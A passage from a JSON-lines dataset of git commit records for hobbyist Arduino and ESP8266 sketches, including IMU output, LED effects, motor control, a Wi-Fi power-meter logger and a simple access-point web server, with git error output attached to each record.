mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.println(aaReal.z);\n #endif\n\n #ifdef OUTPUT_READABLE_WORLDACCEL\n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld.z);\n #endif\n \n #ifdef OUTPUT_TEAPOT\n \/\/ display quaternion values in InvenSense Teapot demo format:\n teapotPacket[2] = fifoBuffer[0];\n teapotPacket[3] = fifoBuffer[1];\n teapotPacket[4] = fifoBuffer[4];\n teapotPacket[5] = fifoBuffer[5];\n teapotPacket[6] = fifoBuffer[8];\n teapotPacket[7] = fifoBuffer[9];\n teapotPacket[8] = fifoBuffer[12];\n teapotPacket[9] = fifoBuffer[13];\n Serial.write(teapotPacket, 14);\n teapotPacket[11]++; \/\/ packetCount, loops at 0xFF on purpose\n #endif\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU6050_DMP6\/MPU6050_DMP6.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5bc77e8f5874f98e48539c276e439050b44ed4df","subject":"change blink way","message":"change blink way\n","repos":"loovee\/Instructables_Indicator,loovee\/Instructables_Indicator","old_file":"Instructables\/Instructables.ino","new_file":"Instructables\/Instructables.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/loovee\/Instructables_Indicator.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3e504ddda83adae35a3cd39d1d4091dbdf515866","subject":"adds esp digital in example","message":"adds esp digital in example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"esp8266\/digital-in\/digital-in.ino","new_file":"esp8266\/digital-in\/digital-in.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n\n Works great with Adafruit's Huzzah ESP board:\n ----> https:\/\/www.adafruit.com\/product\/2471\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Tony DiCola for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/****************************** Pins ******************************************\/\n\n#define BUTTON 2\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'button' for publishing changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char BUTTON_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/button\";\nAdafruit_MQTT_Publish button = Adafruit_MQTT_Publish(&mqtt, BUTTON_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ button state\nint current = 0;\nint last = -1;\n\nvoid setup() {\n\n \/\/ set button pin as an input\n pinMode(BUTTON, INPUT_PULLUP);\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example:\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n delay(10);\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n Serial.println();\n\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \"));\n Serial.println(WiFi.localIP());\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ grab the current state of the button\n current = digitalRead(BUTTON);\n\n \/\/ return if the value hasn't changed\n if(current == last)\n return;\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending button value: \"));\n Serial.print(current == LOW ? 1 : 0);\n Serial.print(\"... \");\n\n if (! button.publish(current == LOW ? 1 : 0))\n Serial.println(F(\"Failed.\"));\n else\n Serial.println(F(\"Success!\"));\n\n \/\/ save the button state\n last = current;\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/digital-in\/digital-in.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"508afe71df7c4d83414c63440fe2bc7dfcd5d9de","subject":"Create rainbow_brightness_and_saturation.ino","message":"Create rainbow_brightness_and_saturation.ino","repos":"marmilicious\/FastLED_examples","old_file":"rainbow_brightness_and_saturation.ino","new_file":"rainbow_brightness_and_saturation.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of changing the brightness and saturation of\n\/\/ FastLED's fill_rainbow, which by default fills pixels with\n\/\/ the rainbow at full brightness and full saturation.\n\/\/\n\/\/ Marc Miller, Sept 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define NUM_LEDS 12\nCRGB leds[NUM_LEDS];\n\nuint8_t V; \/\/brightness for rainbow\nuint8_t S; \/\/saturation for rainbow\nboolean toggleS;\nboolean toggleV;\n\n\/\/Amount to tint (desaturate) rainbow. Can use either RGB or HSV format\n\/\/CRGB tintAmt(128,128,128);\nCHSV tintAmt(0,0,90);\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n FastLED.addLeds<NEOPIXEL, 11>(leds, NUM_LEDS);\n FastLED.setBrightness(255);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n fill_rainbow(leds, NUM_LEDS, millis()\/100); \/\/fill strip with moving rainbow\n\n EVERY_N_SECONDS(5) { toggleS = !toggleS; } \/\/toggle Saturation (ie. \"tint\")\n EVERY_N_SECONDS(30) { toggleV = !toggleV; } \/\/toggle Value (brightness)\n\n if (toggleS) {\n for (uint8_t i=0; i<NUM_LEDS; i++) {\n leds[i] += tintAmt;\n }\n } else {\n \/\/No tint added\n }\n\n if (toggleV) {\n V = 128; \/\/fade down by V\/256\n fadeToBlackBy( leds, NUM_LEDS, V); \/\/fade by value V\n } else {\n V = 0; \/\/no fade\n }\n\n FastLED.show();\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rainbow_brightness_and_saturation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b017c675e0e44a33ccfec7682d9110f56bd762f","subject":"in theory it should move to heom \u2026 but in reality \u2026 \u2026","message":"in theory it should move to heom \u2026 but in reality \u2026 \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ae39059eec1df8b0facb384a30c5535ef45683b7","subject":"Added initial dayrider sketch","message":"Added initial dayrider sketch\n","repos":"Projectplace\/Dayrider","old_file":"dayrider\/dayrider.ino","new_file":"dayrider\/dayrider.ino","new_contents":"#include <Bridge.h>\n#include <Mailbox.h>\n\n#include <Dagu4Motor.h>\n\n\/\/YunServer server;\n \/\/ pwn, dir, cur(analog), encA, encB \nDagu4Motor left(11, 12, 0, 0, 0);\nDagu4Motor right(3, 2, 0, 0, 0);\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(13,OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n Mailbox.begin();\n digitalWrite(13, HIGH);\n \n Serial.println(\"Starting Dayrider 0.1\");\n \n left.begin();\n left.stopMotors();\n \n}\n\nvoid loop() {\n if (Mailbox.messageAvailable()) {\n process_mb();\n }\n\n delay(50); \n}\n\nvoid process_mb() {\n int start, end, dir, spd;\n String msg, side, tmp;\n \n Mailbox.readMessage(msg);\n\n Serial.println(msg);\n\n end = msg.indexOf('\/');\n side = msg.substring(0, end);\n start = end+1;\n end = msg.indexOf('\/', start);\n dir = msg.substring(start, end).toInt();\n start = end+1;\n spd = msg.substring(start).toInt();\n\n motorCommand(side, dir, spd); \n}\n\n\nvoid motorCommand(String side, int dir, int spd) {\n \n if (side == \"left\") {\n left.setMotorDirection(dir);\n left.setSpeed(spd);\n } else if (side == \"right\") {\n right.setMotorDirection(dir);\n right.setSpeed(spd); \n } else if (side == \"both\") {\n left.setMotorDirection(dir);\n left.setSpeed(spd); \n right.setMotorDirection(dir);\n right.setSpeed(spd); \n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dayrider\/dayrider.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d6eebb5e549e37b1b19d5e075e493e3e711ea3c","subject":"Added example: auto change mode every 5 seconds.","message":"Added example: auto change mode every 5 seconds.\n","repos":"kitesurfer1404\/WS2812FX,kitesurfer1404\/WS2812FX","old_file":"examples\/auto_mode_cycle\/auto_mode_cycle.ino","new_file":"examples\/auto_mode_cycle\/auto_mode_cycle.ino","new_contents":"#include <WS2812FX.h>\n\n#define LED_COUNT 13\n#define LED_PIN 11\n\n#define TIMER_MS 5000\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nWS2812FX ws2812fx = WS2812FX(LED_COUNT, LED_PIN, NEO_RGB + NEO_KHZ800);\n\nunsigned long last_change = 0;\nunsigned long now = 0;\n\nvoid setup() {\n ws2812fx.init();\n ws2812fx.setBrightness(255);\n ws2812fx.setSpeed(200);\n ws2812fx.setColor(0x007BFF);\n ws2812fx.setMode(FX_MODE_STATIC);\n ws2812fx.start();\n}\n\nvoid loop() {\n now = millis();\n\n ws2812fx.service();\n\n if(now - last_change > TIMER_MS) {\n ws2812fx.setMode((ws2812fx.getMode() + 1) % ws2812fx.getModeCount());\n last_change = now;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/auto_mode_cycle\/auto_mode_cycle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6da51d96d300fbd9235a872618219e5a68852a4e","subject":"step2 we use random gearing","message":"step2 we use random gearing\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"87e39042187f0eaaa90db3cc091a62e37776edd7","subject":"Inital code of power meter with WiFi","message":"Inital code of power meter with WiFi\n","repos":"HarringayMakerSpace\/WiFiPowerMeter","old_file":"PowerMeter1\/PowerMeter1.ino","new_file":"PowerMeter1\/PowerMeter1.ino","new_contents":"\/*\n Reads voltage and power from a China-style energy meter.\n Collecting data by eavesdropping on the MOSI-line (master in slave out)\n between the energy monitoring chip (ECH1560) and the main processor.\n\n Based on the work of Karl Hagstr\u00f6m at http:\/\/gizmosnack.blogspot.co.uk\/2014\/10\/power-plug-energy-meter-hack.html\n\n Updated to use an ESP8266 to send the power data to the IoT Foundation\n\n Ant Elder\n License: Apache License v2\n*\/\n#include <ESP8266WiFi.h>\nextern \"C\" {\n #include \"user_interface.h\" \/\/ for wifi_station_connect\n}\n\nconst char* ssid = \"BTHub5-72W5\";\nconst char* password = \"XXXXXXXXXX\";\n\nconst char* host = \"data.sparkfun.com\";\nconst char* streamId = \"5JpMjVaVVjcz5EA7ORjK\";\nconst char* privateKey = \"XXXXXXXXXXXXXXXXXXXX\";\n\nconst int CLKPin = 4; \/\/ Pin connected to CLK (D2 & INT0)\nconst int MISOPin = 5; \/\/ Pin connected to MISO (D5)\n\nconst int SEND_INTERVAL = 1 * 60 * 1000; \/\/ 1 minutes in millisecs \n\n\/\/All variables that is changed in the interrupt function must be volatile to make sure changes are saved.\nvolatile int Ba = 0; \/\/Store MISO-byte 1\nvolatile int Bb = 0; \/\/Store MISO-byte 2\nvolatile int Bc = 0; \/\/Store MISO-byte 2\nfloat U = 0; \/\/voltage\nfloat P = 0; \/\/power\n\nvolatile long CountBits = 0; \/\/Count read bits\nvolatile long ClkHighCount = 0; \/\/Number of CLK-highs (find start of a Byte)\nvolatile boolean inSync = false; \/\/as long as we ar in SPI-sync\nvolatile boolean NextBit = true; \/\/A new bit is detected\nvolatile unsigned int isrTriggers;\n\nfloat avgVolts, minVolts, maxVolts;\nfloat avgWatts, minWatts, maxWatts;\nint numReadings;\n\nunsigned long lastSend;\nunsigned long debugOps;\n\nvoid setup() {\n\n Serial.begin(115200);\n Serial.println(); Serial.println(\"setup\");\n\n wifiOff();\n \n \/\/Setting up interrupt ISR on D2 (INT0), trigger function \"CLK_ISR()\" when INT0 (CLK)is rising\n attachInterrupt(digitalPinToInterrupt(CLKPin), CLK_ISR, RISING);\n\n \/\/Set the CLK-pin (D5) to input\n pinMode(CLKPin, INPUT);\n\n \/\/Set the MISO-pin (D5) to input\n pinMode(MISOPin, INPUT);\n\n clearTallys(); \n}\n\nvoid loop() {\n\n if (millis() > (lastSend + SEND_INTERVAL)) {\n sendReading();\n clearTallys(); \n lastSend = millis();\n }\n\n if ((millis() - debugOps) > 10000) {\n Serial.print(\"ISR triggers = \"); Serial.println(isrTriggers);\n debugOps = millis();\n }\n\n \/\/do nothing until the CLK-interrupt occures and sets inSync=true\n if (inSync == true) {\n doInSync(); \n }\n}\n\nvoid doInSync() {\n\/\/ Serial.println(\"In sync 1\");\n CountBits = 0; \/\/CLK-interrupt increments CountBits when new bit is received\n while (CountBits < 40) {} \/\/skip the uninteresting 5 first bytes\n CountBits = 0;\n Ba = 0;\n Bb = 0;\n while (CountBits < 24) { \/\/Loop through the next 3 Bytes (6-8) and save byte 6 and 7 in Ba and Bb\n if (NextBit == true) { \/\/when rising edge on CLK is detected, NextBit = true in in interrupt.\n if (CountBits < 9) { \/\/first Byte\/8 bits in Ba\n Ba = (Ba << 1); \/\/Shift Ba one bit to left and store MISO-value (0 or 1) (see http:\/\/arduino.cc\/en\/Reference\/Bitshift)\n \/\/read MISO-pin, if high: make Ba[0] = 1\n if (digitalRead(MISOPin) == HIGH) {\n Ba |= (1 << 0); \/\/changes first bit of Ba to \"1\"\n } \/\/doesn't need \"else\" because BaBb[0] is zero if not changed.\n NextBit = false; \/\/reset NextBit in wait for next CLK-interrupt\n }\n else if (CountBits < 17) { \/\/bit 9-16 is byte 7, stor in Bb\n Bb = Bb << 1; \/\/Shift Ba one bit to left and store MISO-value (0 or 1)\n \/\/read MISO-pin, if high: make Ba[0] = 1\n if (digitalRead(MISOPin) == HIGH) {\n Bb |= (1 << 0); \/\/changes first bit of Bb to \"1\"\n }\n NextBit = false; \/\/reset NextBit in wait for next CLK-interrupt\n }\n }\n }\n if (Bb != 3) { \/\/if bit Bb is not 3, we have reached the important part, U is allready in Ba and Bb and next 8 Bytes will give us the Power.\n\n \/\/Voltage = 2*(Ba+Bb\/255)\n U = 2.0 * ((float)Ba + (float)Bb \/ 255.0);\n\n \/\/Power:\n CountBits = 0;\n while (CountBits < 40) {} \/\/Start reading the next 8 Bytes by skipping the first 5 uninteresting ones\n\n CountBits = 0;\n Ba = 0;\n Bb = 0;\n Bc = 0;\n while (CountBits < 24) { \/\/store byte 6, 7 and 8 in Ba and Bb & Bc.\n if (NextBit == true) {\n if (CountBits < 9) {\n Ba = (Ba << 1); \/\/Shift Ba one bit to left and store MISO-value (0 or 1)\n \/\/read MISO-pin, if high: make Ba[0] = 1\n if (digitalRead(MISOPin) == HIGH) {\n Ba |= (1 << 0); \/\/changes first bit of Ba to \"1\"\n }\n NextBit = false;\n }\n else if (CountBits < 17) {\n Bb = Bb << 1; \/\/Shift Ba one bit to left and store MISO-value (0 or 1)\n \/\/read MISO-pin, if high: make Ba[0] = 1\n if (digitalRead(MISOPin) == HIGH) {\n Bb |= (1 << 0); \/\/changes first bit of Bb to \"1\"\n }\n NextBit = false;\n }\n else {\n Bc = Bc << 1; \/\/Shift Bc one bit to left and store MISO-value (0 or 1)\n \/\/read MISO-pin, if high: make Bc[0] = 1\n if (digitalRead(MISOPin) == HIGH) {\n Bc |= (1 << 0); \/\/changes first bit of Bc to \"1\"\n }\n NextBit = false;\n }\n }\n\n }\n\n \/\/Power = (Ba*255+Bb)\/2\n P = ((float)Ba * 255 + (float)Bb + (float)Bc \/ 255.0) \/ 2;\n\n if (U > 200 && U < 300 && P >= 0 && P < 4000) { \/\/ ignore spurious readings with voltage or power out of normal range\n updateTallys(U, P); \n } else {\n Serial.print(\".\");\n }\n\n inSync = false; \/\/reset sync variable to make sure next reading is in sync.\n\n }\n\n\n if (Bb == 0) { \/\/If Bb is not 3 or something else than 0, something is wrong!\n inSync = false;\n Serial.println(\"Nothing connected, or out of sync!\");\n }\n\n}\n\n\/\/Function that triggers whenever CLK-pin is rising (goes high)\nvoid CLK_ISR() {\n isrTriggers += 1;\n \/\/if we are trying to find the sync-time (CLK goes high for 1-2ms)\n if (inSync == false) {\n ClkHighCount = 0;\n \/\/Register how long the ClkHigh is high to evaluate if we are at the part wher clk goes high for 1-2 ms\n while (digitalRead(CLKPin) == HIGH) {\n ClkHighCount += 1;\n delayMicroseconds(30); \/\/can only use delayMicroseconds in an interrupt.\n }\n \/\/if the Clk was high between 1 and 2 ms than, its a start of a SPI-transmission\n if (ClkHighCount >= 33 && ClkHighCount <= 67) {\n inSync = true;\n }\n }\n else { \/\/we are in sync and logging CLK-highs\n \/\/increment an integer to keep track of how many bits we have read.\n CountBits += 1;\n NextBit = true;\n }\n}\n\nvoid clearTallys() {\n numReadings = 0;\n minVolts = 9999;\n maxVolts = -9999;\n minWatts = 9999;\n maxWatts = -9999;\n}\n\nvoid updateTallys(float volts, float watts) {\n\n avgVolts = (volts + (numReadings * avgVolts)) \/ (numReadings + 1);\n\/\/ minVolts = min(minVolts, volts); \n\/\/ maxVolts = max(maxVolts, volts); \n if (volts < minVolts) minVolts = volts;\n if (volts > maxVolts) maxVolts = volts;\n \n avgWatts = (watts + (numReadings * avgWatts)) \/ (numReadings + 1);\n\/\/ minWatts = min(minWatts, watts); \n\/\/ maxWatts = max(maxWatts, watts); \n if (watts < minWatts) minWatts = watts;\n if (watts > maxWatts) maxWatts = watts;\n\n numReadings += 1;\n\n Serial.print(\"Readings=\"); Serial.println(numReadings);\n Serial.print(\"Volts: \"); Serial.print(volts);Serial.print(\" avg=\"); Serial.print(avgVolts); Serial.print(\" min=\"); Serial.print(minVolts); Serial.print(\" max=\"); Serial.println(maxVolts); \n Serial.print(\"Watts: \"); Serial.print(watts); Serial.print(\" avg=\"); Serial.print(avgWatts); Serial.print(\" min=\"); Serial.print(minWatts); Serial.print(\" max=\"); Serial.println(maxWatts); \n}\n\nvoid sendReading() {\n detachInterrupt(digitalPinToInterrupt(CLKPin));\n if (wifiOn()) {\n sendToSparkfun();\n }\n wifiOff();\n attachInterrupt(digitalPinToInterrupt(CLKPin), CLK_ISR, RISING);\n}\n\nboolean wifiOn() {\n WiFi.forceSleepWake();\n WiFi.mode(WIFI_STA);\n wifi_station_connect();\n WiFi.begin(ssid, password);\n int timeout = 40; \/\/ 20 seconds \n Serial.print(\"Connecting to \"); Serial.print(ssid);\n while ((WiFi.status() != WL_CONNECTED) && timeout-- > 0) {\n delay(500);\n Serial.print(\".\");\n }\n if (timeout < 1) {\n Serial.println(\"***FAILED\");\n wifiOff();\n return false;\n }\n\n Serial.print(\"connected, IP address: \"); Serial.println(WiFi.localIP());\n return true;\n}\n\nvoid wifiOff() {\n WiFi.mode(WIFI_OFF);\n WiFi.forceSleepBegin();\n delay(1);\n Serial.println(\"Wifi off\");\n}\n\nvoid sendToSparkfun() {\n WiFiClient client;\n int retries = 6;\n Serial.print(\"connecting to:\"); Serial.print(host);\n while (!!!client.connect(host, 80) && (retries-- > 0)) {\n Serial.print(\".\");\n }\n Serial.println();\n\n if (!!!client.connected()) {\n Serial.println(\"*** connection failed\");\n return;\n }\n\n String url = \"\/input\/\";\n url += streamId;\n url += \"?private_key=\";\n url += privateKey;\n url += \"&avgvolts=\";\n url += avgVolts;\n url += \"&minvolts=\";\n url += minVolts;\n url += \"&maxvolts=\";\n url += maxVolts;\n url += \"&avgwatts=\";\n url += avgWatts;\n url += \"&minwatts=\";\n url += minWatts;\n url += \"&maxwatts=\";\n url += maxWatts;\n url += \"&readings=\";\n url += numReadings;\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n client.print(String(\"GET \") + url + \n \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n\n retries = 20*100; \/\/ 20 seconds \n while(!!!client.available() && (retries-- > 0)){\n delay(10);\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n Serial.write(client.read());\n }\n Serial.println();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PowerMeter1\/PowerMeter1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"af1fe7075c3d29fa7dd4006639ddfc66e287b45a","subject":"Revert \"Not sure why its asking me to commit\"","message":"Revert \"Not sure why its asking me to commit\"\n\nThis reverts commit 3bb3f1355d6863d478696e910a9146931c0226d9.\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Tyler_RS232Arduino\/BIS_App_v3_kth6\/BIS_App_v3_kth6.ino","new_file":"Tyler_RS232Arduino\/BIS_App_v3_kth6\/BIS_App_v3_kth6.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"64ed18a0116c4c664208e2dcf0e90ddedebf9650","subject":"Create AP-Web-Server.ino","message":"Create AP-Web-Server.ino","repos":"flexdigit\/ESP8266","old_file":"AP-Web-Server.ino","new_file":"AP-Web-Server.ino","new_contents":"\/*\n * Source was\n * https:\/\/learn.sparkfun.com\/tutorials\/esp8266-thing-hookup-guide\/example-sketch-ap-web-server\n * and I put some bits from\n * http:\/\/esp8266-server.de\n * into it.\n *\/\n#include <ESP8266WiFi.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst char WiFiAPPSK[] = \"sparkfun\";\nconst char AP_NameChar[] = \"astral\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Pin Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int LED_PIN = 5; \/\/ Thing's onboard, green LED\nconst int ANALOG_PIN = A0; \/\/ The only analog pin on the Thing\nconst int DIGITAL_PIN = 12; \/\/ Digital pin to be read\n\nWiFiServer server(80);\n\nvoid setup() \n{\n initHardware();\n setupWiFi();\n server.begin();\n}\n\nvoid loop() \n{\n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n\n \/\/ Read the first line of the request\n String req = client.readStringUntil('\\r');\n Serial.println(req);\n client.flush();\n\n \/\/ Match the request\n int val = -1; \/\/ We'll use 'val' to keep track of both the\n \/\/ request type (read\/set) and value if set.\n if (req.indexOf(\"\/led\/0\") != -1)\n val = 0; \/\/ Will write LED low\n else if (req.indexOf(\"\/led\/1\") != -1)\n val = 1; \/\/ Will write LED high\n else if (req.indexOf(\"\/read\") != -1)\n val = -2; \/\/ Will print pin reads\n \/\/ Otherwise request will be invalid. We'll say as much in HTML\n\n \/\/ Set GPIO5 according to the request\n if (val >= 0)\n digitalWrite(LED_PIN, val);\n\n client.flush();\n\n \/\/ Prepare the response. Start with the common header:\n String s = \"HTTP\/1.1 200 OK\\r\\n\";\n s += \"Content-Type: text\/html\\r\\n\\r\\n\";\n s += \"<!DOCTYPE HTML>\\r\\n<html>\\r\\n\";\n \/\/ If we're setting the LED, print out a message saying we did\n if (val >= 0)\n {\n s += \"LED is now \";\n s += (val)?\"on\":\"off\";\n }\n else if (val == -2)\n { \/\/ If we're reading pins, print out those values:\n s += \"Analog Pin = \";\n s += String(analogRead(ANALOG_PIN));\n s += \"<br>\"; \/\/ Go to the next line.\n s += \"Digital Pin 12 = \";\n s += String(digitalRead(DIGITAL_PIN));\n }\n else\n {\n s += \"Invalid Request.<br> Try \/led\/1, \/led\/0, or \/read.\";\n }\n s += \"<\/html>\\n\";\n\n \/\/ Send the response to the client\n client.print(s);\n delay(1);\n Serial.println(\"Client disonnected\");\n\n \/\/ The client will actually be disconnected \n \/\/ when the function returns and 'client' object is detroyed\n}\n\nvoid setupWiFi()\n{\n WiFi.mode(WIFI_AP);\n WiFi.softAP(AP_NameChar, WiFiAPPSK);\n}\n\nvoid initHardware()\n{\n Serial.begin(115200);\n pinMode(DIGITAL_PIN, INPUT_PULLUP);\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n \/\/ Don't need to set ANALOG_PIN as 